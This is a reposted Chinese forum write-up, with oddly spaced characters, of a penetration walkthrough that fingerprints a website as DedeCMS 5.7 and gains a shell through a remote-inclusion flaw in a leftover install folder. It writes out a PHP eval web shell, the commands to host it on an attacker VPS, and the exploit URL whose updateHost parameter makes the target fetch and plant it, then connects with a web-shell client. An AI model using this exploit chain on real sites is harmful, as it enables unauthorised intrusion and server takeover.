搜索

[20295] 2020-03-17_从信息收集到getshell

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-03-17_从信息收集到getshell 从 信 息 收 集 到 g e t s h e l l 原 创   成 吉 思 航   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 3 - 1 7                                                       我 不 涉 生 活 的 险 ， 退 而 结 茧 我 不 涉 生 活 的 险 ， 退 而 结 茧                                                                                                                 成 吉 思 航 成 吉 思 航 0 0 x 0 1   信 息 收 集 信 息 收 集                   拿 到 目 标 u r l 云 悉 指 纹 搞 一 波 ， 指 纹 没 匹 对 出 来 ， 回 到 网 站  
                虽 然 没 匹 对 出 指 纹 ， 但 随 便 浏 览 个 网 页 看 到 u r l 总 感 觉 是 什 么     那 就 谷 歌 一 下
灵 感 不 就 来 了 ， 那 么 初 步 判 断 有 可 能 是 d e d e c m s 尝 试 了 几 个 d e d e c m s 的 目 录 ， 均 是 n o t   f o u n d   既 然 是 开 源 的 ， 那 我 就 去 找 下 源 码 ， 看 看 看 到 有 个 r o b o t s . t x t , 看 一 眼  
还 真 有 ， 那 就 匹 对 一 下 ， 八 九 不 离 十 ， 在 看 看 m e m b e r 还 是 没 有 ， 访 问 都 没 有 结 果 ， 上 个 御 剑 扫 一 下 目 录 看 看 ，   看 到 个 p h o t o 我 觉 得 大 有 文 章 ， 访 问 一 下 我 的 天 啊 ， 出 来 了 ， 还 真 是 d e d e c m s ， 访 问 u r l 确 定 一 下 ：  
没 错 了 ， 确 定 为 织 梦 C M S 搭 建 的 网 站 ， 那 怎 么 确 定 用 的 织 梦 什 么 版 本 呢 ， 我 们 可 以 这 样 判 断 G o o g l e 搜 索 一 下 ， 锁 定 一 下 版 本 应 该 为 5 . 7 左 右 p h o t o / d a t a / a d m i n / v e r . t x t
确 定 了 版 本 之 后 ， 其 实 我 们 从 前 面 的 信 息 ( 容 器 版 本 : a p a c h e 2 . 2 , 存 在 i n s t a l l 文 件 ) 可 以 大 致 的 锁 定 一 个 漏 洞 - - - - 织 梦 远 程 包 含 漏 洞     0 0 x 0 2   G e t s h e l l                 利 用 条 件 ： 首 先 ， 是 目 标 站 安 装 完 c m s 后 并 没 有 删 除 i n s t a l l 文 件 夹 ， 其 次 网 站 建 站 容 器 版 本 过 低 ， 当 A p a c h e 检 测 到 一 个 文 件 有 多 个 扩 展 名 时 ， 如 1 . p h p . b a k ， 会 从 右 向 左 判 断 ， 直 到 有 一 个 a p a c h e 认 识 的 扩 展 名 。       我 觉 得 基 本 稳 了 ， 开 干 。         访 问 如 下 u r l ：   在 外 网 V P S 创 建 一 个 文 件 d e d e c m s / d e m o d a t a . a . t x t 具 体 操 作 如 下 ： 1   m k d i r   d e d e c m s 2   e c h o   " < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ? > " > d e d e c m s / d e m o d a t a . a . t x t 3   p y t h o n 3   - m   h t t p . s e r v e r h t t p : / / x x x . c o m / p h o t o / i n s t a l l / i n d e x . p h p . b a k ? s t e p = 1 1 & i n s L o c k f i l e = a & s _ l a n g = a & i n s t a l l _ d e m o _ n a m e = . . / d a t a / a d m i n / c o n f i g _ u p d a t e . p h p
    如 果 成 功 的 话 ， 即 可 生 成 / i n s t a l l / d e m o . p h p ， 我 觉 得 没 问 题 了 ， 上 菜 刀   手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 h t t p : / / x x x . c o m / p h o t o / i n s t a l l / i n d e x . p h p . b a k ? s t e p = 1 1 & i n s L o c k f i l e = a & s _ l a n g = a & i n s t a l l _ d e m o _ n a m e = d e m o . p h p & u p d a t e H o s t = h t t p : / / V P S /
                                                                                                      -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理